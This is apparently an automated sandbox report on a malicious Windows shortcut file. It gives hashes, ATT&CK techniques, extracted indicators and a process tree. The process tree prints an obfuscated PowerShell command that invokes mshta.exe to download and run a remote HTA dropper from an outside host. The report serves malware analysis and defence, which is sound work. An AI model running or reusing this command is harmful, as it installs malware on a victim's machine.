af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41

Analysis

max time kernel
152s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
11/01/2024, 07:37

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General

Target

a49746922bdba7a0885c55944ab705a5+af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41.lnk
Size

1KB
MD5

a49746922bdba7a0885c55944ab705a5
SHA1

6ec7db6e71ebfb091b7266b8ce2012ef3d2d714f
SHA256

af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41
SHA512

e17311145ca62f49e0ac1ecc34810a65f1b91cc57c45fe0d2f72494e8106ede54d258a2fd8c16f771eada18574854da8654b533dca7818183f154739849ecbf7

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://24help.ooguy.com/1/1.hta

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	1516	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4508	powershell.exe
4508	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4508	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4248 wrote to memory of 4508	4248	cmd.exe	91
PID 4248 wrote to memory of 4508	4248	cmd.exe	91
PID 4508 wrote to memory of 1516	4508	powershell.exe	94
PID 4508 wrote to memory of 1516	4508	powershell.exe	94

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\a49746922bdba7a0885c55944ab705a5+af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://24help.ooguy.com/1/1.hta'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" http://24help.ooguy.com/1/1.hta
    3⤵
    - Blocklisted process makes network request
    PID:1516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l1oyduij.513.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4508-11-0x00000253EA3F0000-0x00000253EA412000-memory.dmp

Filesize
136KB

Download
memory/4508-12-0x00007FFC72F00000-0x00007FFC739C1000-memory.dmp

Filesize
10.8MB

Download
memory/4508-13-0x00000253D0070000-0x00000253D0080000-memory.dmp

Filesize
64KB

Download
memory/4508-16-0x00007FFC72F00000-0x00007FFC739C1000-memory.dmp

Filesize
10.8MB

Download